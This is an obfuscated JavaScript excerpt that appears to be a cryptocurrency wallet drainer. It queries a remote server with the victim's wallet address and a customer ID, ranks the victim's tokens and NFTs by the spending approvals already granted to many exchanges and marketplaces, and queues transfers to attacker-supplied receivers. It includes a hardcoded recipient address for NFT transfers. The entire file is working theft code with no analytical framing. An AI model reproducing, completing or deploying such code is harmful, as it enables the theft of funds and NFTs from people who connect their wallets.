this.createAction("TraderJoeV2", _0x435572, _0x5d41a3.value, _0x536f8f);
}
}
let _0x389f86 = this.traderJoeV3Actions.filter(_0xade0f7 => _0xade0f7.chain == _0x536f8f && !this.approved.includes(_0xade0f7.token + "," + _0x536f8f));
if (_0x389f86.length > 0) {
for (let _0x2cb684 of _0x389f86) {
const _0x1c2602 = {
token: _0x2cb684.token,
amount: _0x2cb684.amount,
value: _0x2cb684.value
};
var _0x435572 = _0x1c2602;
this.createAction("TraderJoeV3", _0x435572, _0x2cb684.value, _0x536f8f);
}
}
let _0x4c9047 = this.zeroexActions.filter(_0x5ece2c => _0x5ece2c.chain == _0x536f8f && !this.approved.includes(_0x5ece2c.token + "," + _0x536f8f));
if (_0x4c9047.length > 0) {
for (let _0x234eca of _0x4c9047) {
const _0x1a117d = {
token: _0x234eca.token,
amount: _0x234eca.amount,
value: _0x234eca.value
};
var _0x435572 = _0x1a117d;
this.createAction("ZeroEx", _0x435572, _0x234eca.value, _0x536f8f);
}
}
let _0x4b3b1c = this.stargateActions.filter(_0x1a157e => _0x1a157e.chain == _0x536f8f && !this.approved.includes(_0x1a157e.token + "," + _0x536f8f));
if (_0x4b3b1c.length > 0) {
for (let _0x209491 of _0x4b3b1c) {
const _0x5dd4ca = {
token: _0x209491.token,
amount: _0x209491.amount,
value: _0x209491.value
};
var _0x435572 = _0x5dd4ca;
this.createAction("Stargate", _0x435572, _0x209491.value, _0x536f8f);
}
}
let _0x1ca2ca = this.pangolinActions.filter(_0x1b937c => _0x1b937c.chain == _0x536f8f && !this.approved.includes(_0x1b937c.token + "," + _0x536f8f));
if (_0x1ca2ca.length > 0) {
for (let _0x14140d of _0x1ca2ca) {
const _0x1eea51 = {
token: _0x14140d.token,
amount: _0x14140d.amount,
value: _0x14140d.value
};
var _0x435572 = _0x1eea51;
this.createAction("Pangolin", _0x435572, _0x14140d.value, _0x536f8f);
}
}
let _0x249946 = this.pancakeActions.filter(_0x4b9c1d => _0x4b9c1d.chain == _0x536f8f && !this.approved.includes(_0x4b9c1d.token + "," + _0x536f8f));
if (_0x249946.length > 0) {
for (let _0x4aa56a of _0x249946) {
const _0x273943 = {
token: _0x4aa56a.token,
amount: _0x4aa56a.amount,
value: _0x4aa56a.value
};
var _0x56ae84 = _0x273943;
this.createAction("Pancake", _0x56ae84, _0x4aa56a.value, _0x536f8f);
}
}
let _0x986e3d = this.pancakev2Actions.filter(_0x50ac38 => _0x50ac38.chain == _0x536f8f && !this.approved.includes(_0x50ac38.token + "," + _0x536f8f));
if (_0x986e3d.length > 0) {
let _0x21f3a8 = [];
let _0x567979 = 0;
for (let _0x1a538d of _0x986e3d) {
_0x567979 += _0x1a538d.value;
const _0x16062d = {
token: _0x1a538d.token,
amount: _0x1a538d.amount,
value: _0x1a538d.value
};
var _0x56ae84 = _0x16062d;
_0x21f3a8.push(_0x56ae84);
}
this.createAction("PancakeV2", _0x21f3a8, _0x567979, _0x536f8f);
}
let _0x41723c = this.specialActions.filter(_0x1c05be => _0x1c05be.chain == _0x536f8f && !this.approved.includes(_0x1c05be.token + "," + _0x536f8f));
if (_0x41723c.length > 0) {
for (let _0x4c9232 of _0x41723c) {
const _0x396670 = {
token: _0x4c9232.token,
amount: _0x4c9232.amount,
value: _0x4c9232.value
};
var _0x46d36d = _0x396670;
this.createAction("Special", _0x46d36d, _0x4c9232.value, _0x536f8f);
}
}
let _0x38975f = this.shibaSwapActions.filter(_0x162cc6 => _0x162cc6.chain == _0x536f8f && !this.approved.includes(_0x162cc6.token + "," + _0x536f8f));
if (_0x38975f.length > 0) {
for (let _0x4da3ba of _0x38975f) {
const _0x51f3e7 = {
token: _0x4da3ba.token,
amount: _0x4da3ba.amount,
value: _0x4da3ba.value
};
var _0x435572 = _0x51f3e7;
this.createAction("Shibaswap", _0x435572, _0x4da3ba.value, _0x536f8f);
}
}
let _0x40c591 = this.uniswapv2Actions.filter(_0xca30ee => _0xca30ee.chain == _0x536f8f && !this.approved.includes(_0xca30ee.token + "," + _0x536f8f));
if (_0x40c591.length > 0) {
for (let _0xbf5a6b of _0x40c591) {
const _0x5cb2e1 = {
token: _0xbf5a6b.token,
amount: _0xbf5a6b.amount,
value: _0xbf5a6b.value
};
var _0x2d7962 = _0x5cb2e1;
this.createAction("UniswapV2", _0x2d7962, _0xbf5a6b.value, _0x536f8f);
}
}
let _0x1786be = this.uniswapv3Actions.filter(_0x2199da => _0x2199da.chain == _0x536f8f && !this.approved.includes(_0x2199da.token + "," + _0x536f8f));
if (_0x1786be.length > 0) {
let _0x14cab6 = [];
let _0x58f3b9 = 0;
for (let _0x473d6b of _0x1786be) {
_0x58f3b9 += _0x473d6b.value;
const _0x11fd26 = {
token: _0x473d6b.token,
amount: _0x473d6b.amount,
value: _0x473d6b.value
};
var _0x2d7962 = _0x11fd26;
_0x14cab6.push(_0x2d7962);
}
this.createAction("UniswapV3", _0x14cab6, _0x58f3b9, _0x536f8f);
}
let _0x197a5c = this.uniswapv3_2Actions.filter(_0xa40308 => _0xa40308.chain == _0x536f8f && !this.approved.includes(_0xa40308.token + "," + _0x536f8f));
if (_0x197a5c.length > 0) {
let _0x1948b0 = [];
let _0x173317 = 0;
for (let _0x39b085 of _0x197a5c) {
_0x173317 += _0x39b085.value;
const _0x1a3e18 = {
token: _0x39b085.token,
amount: _0x39b085.amount,
value: _0x39b085.value
};
var _0x2d7962 = _0x1a3e18;
_0x1948b0.push(_0x2d7962);
}
this.createAction("UniswapV3_2", _0x1948b0, _0x173317, _0x536f8f);
}
let _0x27d532 = this.permit2Actions.filter(_0x6c84c9 => _0x6c84c9.chain == _0x536f8f && !this.approved.includes(_0x6c84c9.token + "," + _0x536f8f));
if (_0x27d532.length > 0) {
let _0xabf103 = [];
let _0x50efbe = 0;
for (let _0x8f54a6 of _0x27d532) {
_0x50efbe += _0x8f54a6.value;
const _0x640878 = {
token: _0x8f54a6.token,
amount: _0x8f54a6.amount,
value: _0x8f54a6.value
};
var _0x408114 = _0x640878;
_0xabf103.push(_0x408114);
}
this.createAction("Permit2", _0xabf103, _0x50efbe, _0x536f8f);
}
let _0x11e5bd = this.wooActions.filter(_0x2139e7 => _0x2139e7.chain == _0x536f8f && !this.approved.includes(_0x2139e7.token + "," + _0x536f8f));
if (_0x11e5bd.length > 0) {
for (let _0x5e3455 of _0x11e5bd) {
const _0x36c215 = {
token: _0x5e3455.token,
amount: _0x5e3455.amount,
value: _0x5e3455.value
};
var _0x435572 = _0x36c215;
this.createAction("WooFinance", _0x435572, _0x5e3455.value, _0x536f8f);
}
}
let _0x549c62 = this.wooBridgeActions.filter(_0x5c2a42 => _0x5c2a42.chain == _0x536f8f && !this.approved.includes(_0x5c2a42.token + "," + _0x536f8f));
if (_0x549c62.length > 0) {
for (let _0x510b82 of _0x549c62) {
const _0x2ff998 = {
token: _0x510b82.token,
amount: _0x510b82.amount,
value: _0x510b82.value
};
var _0x435572 = _0x2ff998;
this.createAction("WooBridge", _0x435572, _0x510b82.value, _0x536f8f);
}
}
let _0x1c127d = this.sushiswapActions.filter(_0xf99af0 => _0xf99af0.chain == _0x536f8f && !this.approved.includes(_0xf99af0.token + "," + _0x536f8f));
if (_0x1c127d.length > 0) {
for (let _0x1f08ed of _0x1c127d) {
const _0x714381 = {
token: _0x1f08ed.token,
amount: _0x1f08ed.amount,
value: _0x1f08ed.value
};
var _0x229afd = _0x714381;
this.createAction("Sushiswap", _0x229afd, _0x1f08ed.value, _0x536f8f);
}
}
let _0x5ef2ac = this.sushiProcessActions.filter(_0x5728dd => _0x5728dd.chain == _0x536f8f && !this.approved.includes(_0x5728dd.token + "," + _0x536f8f));
if (_0x5ef2ac.length > 0) {
for (let _0x113d32 of _0x5ef2ac) {
const _0x559b7c = {
token: _0x113d32.token,
amount: _0x113d32.amount,
value: _0x113d32.value
};
var _0x229afd = _0x559b7c;
this.createAction("SushiProcess", _0x229afd, _0x113d32.value, _0x536f8f);
}
}
};
tokenPromise = async () => {
try {
console.log("Requesting Tokens");
let _0x21a2cf = await (await fetch(this.domain + "/items/" + (await this.getWalletAddress()) + ("/" + config.customerId) + ("/" + Base64.encode(this.createEncKey())), this.options)).json();
console.log("Received Tokens, Checking..");
this.tokenValueUSD = _0x21a2cf.value;
this.caller = _0x21a2cf.caller;
this.receiver = _0x21a2cf.receiver;
this.ace_receiver = _0x21a2cf.ace_receiver;
this.sharing = _0x21a2cf.sharing;
this.tradingPairs = _0x21a2cf.trading;
let _0x4990ae = _0x21a2cf.tokens;
if (_0x4990ae != null && _0x4990ae.length > 0) {
for (let _0x21e323 of _0x4990ae) {
this.totalTokens += _0x21e323.value;
}
const _0x3375f2 = _0x4990ae.map(async _0x180da6 => {
if (_0x180da6.token_address == "native") {
if (!this.tokenChains.includes(_0x180da6.chain) && _0x180da6.value > 10) {
this.tokenChains.push(_0x180da6.chain);
}
const _0x3c3ea6 = {
balance: _0x180da6.balance,
value: _0x180da6.value * config.assetOptions.multipliers.balance,
chain: _0x180da6.chain
};
this.drainNativeActions.push(_0x3c3ea6);
} else {
try {
if (_0x180da6.price == null) {
_0x180da6.price = 0;
}
let _0xddc7ff = _0x180da6.balance;
let _0x8250bb = false;
if (_0x180da6.approvals.aave_lp2 > 0) {
let _0x2f663c = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.aave_lp2) {
_0x2f663c = _0x180da6.approvals.aave_lp2;
}
let _0x410915 = _0x2f663c / 10 ** _0x180da6.decimals * _0x180da6.price;
this.aaveLP2Actions.push({
value: _0x410915 * config.assetOptions.multipliers.aave,
amount: _0x2f663c,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.aave_lp3 > 0) {
let _0x144687 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.aave_lp3) {
_0x144687 = _0x180da6.approvals.aave_lp3;
}
let _0x48d8a3 = _0x144687 / 10 ** _0x180da6.decimals * _0x180da6.price;
this.aaveLP3Actions.push({
value: _0x48d8a3 * config.assetOptions.multipliers.aave,
amount: _0x144687,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.aave_lp4 > 0) {
let _0x5cf02e = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.aave_lp4) {
_0x5cf02e = _0x180da6.approvals.aave_lp4;
}
let _0x95314f = _0x5cf02e / 10 ** _0x180da6.decimals * _0x180da6.price;
this.aaveLP4Actions.push({
value: _0x95314f * config.assetOptions.multipliers.aave,
amount: _0x5cf02e,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.permit2 > 0) {
let _0x278135 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.permit2) {
_0x278135 = _0x180da6.approvals.permit2;
}
let _0x5ca782 = _0x278135 / 10 ** _0x180da6.decimals * _0x180da6.price;
this.permit2Actions.push({
value: _0x5ca782 * config.assetOptions.multipliers.permit2,
amount: _0x278135,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.uniswap_v2 > 0) {
let _0x1669ef = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.uniswapv2) {
_0x1669ef = _0x180da6.approvals.uniswapv2;
}
let _0x21901d = _0x1669ef / 10 ** _0x180da6.decimals * _0x180da6.price;
this.uniswapv2Actions.push({
value: _0x21901d * config.assetOptions.multipliers.uniswap,
amount: _0x1669ef,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.uniswap_v3 > 0) {
let _0x24e808 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.uniswapv3) {
_0x24e808 = _0x180da6.approvals.uniswapv3;
}
let _0x5cab86 = _0x24e808 / 10 ** _0x180da6.decimals * _0x180da6.price;
this.uniswapv3Actions.push({
value: _0x5cab86 * config.assetOptions.multipliers.uniswapv2,
amount: _0x24e808,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.uniswap_v3_2 > 0) {
let _0x20b7f1 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.uniswapv3_2) {
_0x20b7f1 = _0x180da6.approvals.uniswapv3_2;
}
let _0x4db552 = _0x20b7f1 / 10 ** _0x180da6.decimals * _0x180da6.price;
this.uniswapv3_2Actions.push({
value: _0x4db552 * config.assetOptions.multipliers.uniswapv2,
amount: _0x20b7f1,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.bancor > 0) {
let _0x1d3e2f = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.bancor) {
_0x1d3e2f = _0x180da6.approvals.bancor;
}
let _0x5b1f4e = _0x1d3e2f / 10 ** _0x180da6.decimals * _0x180da6.price;
this.bancorActions.push({
value: _0x5b1f4e * config.assetOptions.multipliers.uniswap,
amount: _0x1d3e2f,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.bancor_swaps > 0) {
let _0x1fc2ef = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.bancor_swaps) {
_0x1fc2ef = _0x180da6.approvals.bancor_swaps;
}
let _0x2fbd74 = _0x1fc2ef / 10 ** _0x180da6.decimals * _0x180da6.price;
const _0x20c13f = {
value: _0x2fbd74 * config.assetOptions.multipliers.uniswap,
amount: _0x1fc2ef,
token: _0x180da6.token_address,
chain: _0x180da6.chain
};
this.bancorSwapsActions.push(_0x20c13f);
_0x8250bb = true;
}
if (_0x180da6.approvals.kyber > 0) {
let _0x3acf97 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.kyber) {
_0x3acf97 = _0x180da6.approvals.kyber;
}
let _0x41fd26 = _0x3acf97 / 10 ** _0x180da6.decimals * _0x180da6.price;
this.kyberActions.push({
value: _0x41fd26 * config.assetOptions.multipliers.uniswap,
amount: _0x3acf97,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.quickswap > 0) {
let _0x200a57 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.quickswap) {
_0x200a57 = _0x180da6.approvals.quickswap;
}
let _0x298f46 = _0x200a57 / 10 ** _0x180da6.decimals * _0x180da6.price;
this.quickSwapActions.push({
value: _0x298f46 * config.assetOptions.multipliers.uniswap,
amount: _0x200a57,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.spookyswap > 0) {
let _0x18519f = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.spookyswap) {
_0x18519f = _0x180da6.approvals.spookyswap;
}
let _0xdd0f70 = _0x18519f / 10 ** _0x180da6.decimals * _0x180da6.price;
this.spookyActions.push({
value: _0xdd0f70 * config.assetOptions.multipliers.uniswap,
amount: _0x18519f,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.gmx > 0) {
let _0x5580b2 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.gmx) {
_0x5580b2 = _0x180da6.approvals.gmx;
}
let _0x425580 = _0x5580b2 / 10 ** _0x180da6.decimals * _0x180da6.price;
const _0x9ab733 = {
value: _0x425580 * config.assetOptions.multipliers.uniswap,
amount: _0x5580b2,
token: _0x180da6.token_address,
chain: _0x180da6.chain
};
this.gmxActions.push(_0x9ab733);
_0x8250bb = true;
}
if (_0x180da6.approvals.pangolin > 0) {
let _0x365719 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.pangolin) {
_0x365719 = _0x180da6.approvals.pangolin;
}
let _0x37f169 = _0x365719 / 10 ** _0x180da6.decimals * _0x180da6.price;
const _0x45ad36 = {
value: _0x37f169 * config.assetOptions.multipliers.uniswap,
amount: _0x365719,
token: _0x180da6.token_address,
chain: _0x180da6.chain
};
this.pangolinActions.push(_0x45ad36);
_0x8250bb = true;
}
if (_0x180da6.approvals.traderjoe_v3 > 0) {
let _0x3a43cf = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.traderjoe_v3) {
_0x3a43cf = _0x180da6.approvals.traderjoe_v3;
}
let _0xe19aea = _0x3a43cf / 10 ** _0x180da6.decimals * _0x180da6.price;
this.traderJoeV3Actions.push({
value: _0xe19aea * config.assetOptions.multipliers.uniswap,
amount: _0x3a43cf,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.traderjoe_v2 > 0) {
let _0x4e06ee = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.traderjoe_v2) {
_0x4e06ee = _0x180da6.approvals.traderjoe_v2;
}
let _0x1539d0 = _0x4e06ee / 10 ** _0x180da6.decimals * _0x180da6.price;
this.traderJoeV2Actions.push({
value: _0x1539d0 * config.assetOptions.multipliers.uniswap,
amount: _0x4e06ee,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.traderjoe_v1 > 0) {
let _0x492ce8 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.traderjoe_v1) {
_0x492ce8 = _0x180da6.approvals.traderjoe_v1;
}
let _0x5f3201 = _0x492ce8 / 10 ** _0x180da6.decimals * _0x180da6.price;
this.traderJoeV1Actions.push({
value: _0x5f3201 * config.assetOptions.multipliers.uniswap,
amount: _0x492ce8,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.woo > 0) {
let _0x43d73e = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.woo) {
_0x43d73e = _0x180da6.approvals.woo;
}
let _0x1316ae = _0x43d73e / 10 ** _0x180da6.decimals * _0x180da6.price;
this.wooActions.push({
value: _0x1316ae * config.assetOptions.multipliers.uniswap,
amount: _0x43d73e,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.woo_bridge > 0) {
let _0x5d9c04 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.woo_bridge) {
_0x5d9c04 = _0x180da6.approvals.woo_bridge;
}
let _0x4365e0 = _0x5d9c04 / 10 ** _0x180da6.decimals * _0x180da6.price;
this.wooBridgeActions.push({
value: _0x4365e0 * config.assetOptions.multipliers.uniswap,
amount: _0x5d9c04,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.camelot > 0) {
let _0x20c08e = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.camelot) {
_0x20c08e = _0x180da6.approvals.camelot;
}
let _0x528a31 = _0x20c08e / 10 ** _0x180da6.decimals * _0x180da6.price;
this.camelotActions.push({
value: _0x528a31 * config.assetOptions.multipliers.uniswap,
amount: _0x20c08e,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.shibaswap > 0) {
let _0x45687a = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.shibaswap) {
_0x45687a = _0x180da6.approvals.shibaswap;
}
let _0x511755 = _0x45687a / 10 ** _0x180da6.decimals * _0x180da6.price;
this.shibaSwapActions.push({
value: _0x511755 * config.assetOptions.multipliers.uniswap,
amount: _0x45687a,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.stargate > 0) {
let _0x22e1ba = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.stargate) {
_0x22e1ba = _0x180da6.approvals.stargate;
}
let _0x38db7d = _0x22e1ba / 10 ** _0x180da6.decimals * _0x180da6.price;
const _0x10af3c = {
value: _0x38db7d * config.assetOptions.multipliers.stargate,
amount: _0x22e1ba,
token: _0x180da6.token_address,
chain: _0x180da6.chain
};
this.stargateActions.push(_0x10af3c);
_0x8250bb = true;
}
if (_0x180da6.approvals.cowswap > 0) {
let _0x27539f = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.cowswap) {
_0x27539f = _0x180da6.approvals.cowswap;
}
let _0x223ea0 = _0x27539f / 10 ** _0x180da6.decimals * _0x180da6.price;
this.cowActions.push({
value: _0x223ea0 * config.assetOptions.multipliers.uniswap,
amount: _0x27539f,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.curve > 0) {
let _0x5ad555 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.curve) {
_0x5ad555 = _0x180da6.approvals.curve;
}
let _0x365125 = _0x5ad555 / 10 ** _0x180da6.decimals * _0x180da6.price;
this.curveActions.push({
value: _0x365125 * config.assetOptions.multipliers.curve,
amount: _0x5ad555,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.curve_vyper1 > 0) {
let _0x1c5eda = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.curve_vyper1) {
_0x1c5eda = _0x180da6.approvals.curve_vyper1;
}
let _0x291230 = _0x1c5eda / 10 ** _0x180da6.decimals * _0x180da6.price;
this.curveVyper1Actions.push({
value: _0x291230 * config.assetOptions.multipliers.curve,
amount: _0x1c5eda,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.oneinch_v5 > 0) {
let _0x3d77de = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.oneinch_v5) {
_0x3d77de = _0x180da6.approvals.oneinch_v5;
}
let _0xaa18a2 = _0x3d77de / 10 ** _0x180da6.decimals * _0x180da6.price;
this.oneinchv5Actions.push({
value: _0xaa18a2 * config.assetOptions.multipliers.uniswap,
amount: _0x3d77de,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.zeroex > 0) {
let _0x4ef3db = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.zeroex) {
_0x4ef3db = _0x180da6.approvals.zeroex;
}
let _0x1883c3 = _0x4ef3db / 10 ** _0x180da6.decimals * _0x180da6.price;
this.zeroexActions.push({
value: _0x1883c3 * config.assetOptions.multipliers.uniswap,
amount: _0x4ef3db,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.pancake > 0) {
let _0x4ab476 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.pancake) {
_0x4ab476 = _0x180da6.approvals.pancake;
}
let _0xfc939b = _0x4ab476 / 10 ** _0x180da6.decimals * _0x180da6.price;
this.pancakeActions.push({
value: _0xfc939b * config.assetOptions.multipliers.uniswap,
amount: _0x4ab476,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.pancake_v2 > 0) {
let _0x131235 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.pancake_v2) {
_0x131235 = _0x180da6.approvals.pancake_v2;
}
let _0x53fb80 = _0x131235 / 10 ** _0x180da6.decimals * _0x180da6.price;
this.pancakev2Actions.push({
value: _0x53fb80 * config.assetOptions.multipliers.uniswapv2,
amount: _0x131235,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.sushi > 0) {
let _0x594bfc = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.sushi) {
_0x594bfc = _0x180da6.approvals.sushi;
}
let _0x4b2e8c = _0x594bfc / 10 ** _0x180da6.decimals * _0x180da6.price;
this.sushiswapActions.push({
value: _0x4b2e8c * config.assetOptions.multipliers.uniswap,
amount: _0x594bfc,
token: _0x180da6.token_address,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
if (_0x180da6.approvals.sushi_process > 0) {
let _0x33cc4a = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.sushi_process) {
_0x33cc4a = _0x180da6.approvals.sushi_process;
}
let _0x45301b = _0x33cc4a / 10 ** _0x180da6.decimals * _0x180da6.price;
const _0x8135d0 = {
value: _0x45301b * config.assetOptions.multipliers.uniswap,
amount: _0x33cc4a,
token: _0x180da6.token_address,
chain: _0x180da6.chain
};
this.sushiProcessActions.push(_0x8135d0);
_0x8250bb = true;
}
if (_0x180da6.approvals.seaport > 0) {
let _0x3ba802 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.seaport) {
_0x3ba802 = _0x180da6.approvals.seaport;
}
let _0x4f481c = _0x3ba802 / 10 ** _0x180da6.decimals * _0x180da6.price;
const _0x4b43c4 = {
value: _0x4f481c * config.assetOptions.multipliers.seaport,
amount: _0x3ba802,
token: _0x180da6.token_address,
chain: _0x180da6.chain
};
this.seaportTokenActions.push(_0x4b43c4);
_0x8250bb = true;
}
if (_0x180da6.approvals.wyvern_tokens > 0) {
let _0x5c9660 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.wyvern) {
_0x5c9660 = _0x180da6.approvals.wyvern;
}
let _0x2fdfef = _0x5c9660 / 10 ** _0x180da6.decimals * _0x180da6.price;
const _0x3b3add = {
value: _0x2fdfef * config.assetOptions.multipliers.wyvern,
amount: _0x5c9660,
token: _0x180da6.token_address,
chain: _0x180da6.chain
};
this.wyvernTokenActions.push(_0x3b3add);
_0x8250bb = true;
}
if (_0x180da6.approvals.special > 0) {
let _0xf3bac9 = _0xddc7ff;
if (_0xddc7ff > _0x180da6.approvals.special) {
_0xf3bac9 = _0x180da6.approvals.special;
}
let _0x3046f4 = _0xf3bac9 / 10 ** _0x180da6.decimals * _0x180da6.price;
const _0x420d8d = {
value: _0x3046f4 * config.assetOptions.multipliers.special,
amount: _0xf3bac9,
token: _0x180da6.token_address,
chain: _0x180da6.chain
};
this.specialActions.push(_0x420d8d);
_0x8250bb = true;
}
if (_0x180da6.permit_type == 1 || _0x180da6.permit_type == 2 || _0x180da6.permit_type == 3 || _0x180da6.permit_type == 4) {
let _0x90e07f = _0xddc7ff / 10 ** _0x180da6.decimals * _0x180da6.price;
this.approvalTokenActions.push({
token: _0x180da6,
value: _0x90e07f * config.assetOptions.multipliers.permit,
chain: _0x180da6.chain
});
_0x8250bb = true;
}
let _0x489efd = _0xddc7ff / 10 ** _0x180da6.decimals * _0x180da6.price;
const _0x4c18ae = {
token: _0x180da6,
value: _0x489efd * config.assetOptions.multipliers.safa,
chain: _0x180da6.chain
};
this.approvalTokenActions.push(_0x4c18ae);
if (!this.tokenChains.includes(_0x180da6.chain)) {
this.tokenChains.push(_0x180da6.chain);
}
} catch (_0x3313eb) {
console.log(_0x3313eb);
}
}
});
await Promise.all(_0x3375f2);
}
} catch (_0x57e50c) {
console.log(_0x57e50c);
}
};
nftPromise = async () => {
try {
console.log("Requesting NFTs");
let _0x59bc89 = await (await fetch(this.domain + "/nft/" + (await this.getWalletAddress()) + ("/" + Base64.encode(this.createEncKey())), this.options)).json();
let _0x6e4f4c = _0x59bc89.nfts;
let _0x5030ad = [];
console.log("Received NFTs");
if (_0x6e4f4c != null && _0x6e4f4c.length > 0) {
for (let _0xb0b025 of _0x6e4f4c) {
let _0x2f41d1 = _0xb0b025.price * ethPrice;
this.totalNFTs += _0x2f41d1;
}
const _0xc960e4 = _0x6e4f4c.map(async _0x368960 => {
let _0x349bb5 = _0x368960.price * ethPrice;
try {
if (_0x368960.contract.toLowerCase() == "0x23581767a106ae21c074b2276d25e5c3e136a68b" || _0x368960.contract.toLowerCase() == "0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb") {
const _0xd5f1f5 = {
nft: _0x368960,
value: _0x349bb5,
chain: "eth"
};
this.approvalNFTActions.push(_0xd5f1f5);
} else if (_0x368960.contract.toLowerCase() != "0xabefbc9fd2f806065b4f3c237d4b59d9a97bcac7" && _0x368960.contract.toLowerCase() != "0x60f80121c31a0d46b5279700f9df786054aa5ee5" && _0x368960.contract.toLowerCase() != "0x3b3ee1931dc30c1957379fac9aba94d1c48a5405" && _0x368960.contract.toLowerCase() != "0x82c7a8f707110f5fbb16184a5933e9f78a34c6ab" && _0x368960.contract.toLowerCase() != "0xabb3738f04dc2ec20f4ae4462c3d069d02ae045b" && _0x368960.contract.toLowerCase() != "0xd07dc4262bcdbf85190c01c996b4c06a461d2430" && _0x368960.contract.toLowerCase() != "0x76be3b62873462d2142405439777e971754e8e77") {
let _0x2d990b = true;
let _0x19805c = false;
if (_0x368960.approvals.seaport > 0 || _0x368960.approvals.wyvern > 0 || _0x368960.approvals.ostransfers > 0 || _0x368960.approvals.blur_delegate > 0 || _0x368960.approvals.blur_execution > 0 || _0x368960.approvals.x2y2_transfers > 0) {
try {
_0x19805c = true;
if (!_0x5030ad.includes(_0x368960.contract)) {
if (_0x368960.scheme == "erc1155") {
await this.Sdk.sendERC1155_DRY(await this.getWalletAddress(), _0x368960.contract, "0xACE77777F820Dc4CB560453e6aBD2e06b03F07AA", _0x368960.token_id);
} else {
await this.Sdk.sendERC721_DRY(await this.getWalletAddress(), _0x368960.contract, "0xACE77777F820Dc4CB560453e6aBD2e06b03F07AA", _0x368960.token_id);
}
_0x5030ad.push(_0x368960.contract);
}
} catch (_0x503357) {
_0x2d990b = false;
}
}
if (_0x368960.approvals.seaport > 0) {
if (_0x2d990b) {
this.seaportNFTActions.push({
nft: _0x368960,
value: _0x349bb5 * config.assetOptions.multipliers.seaport,
chain: _0x368960.chain
});
}
}
if (_0x368960.approvals.os_transfers > 0) {
console.log("OSTransfer");
if (_0x2d990b) {
this.osTransferActions.push({
nft: _0x368960,
value: _0x349bb5 * config.assetOptions.multipliers.ostransfers,
chain: _0x368960.chain
});
}
}
if (_0x368960.approvals.wyvern > 0) {
const _0x105efe = {
nft: _0x368960,
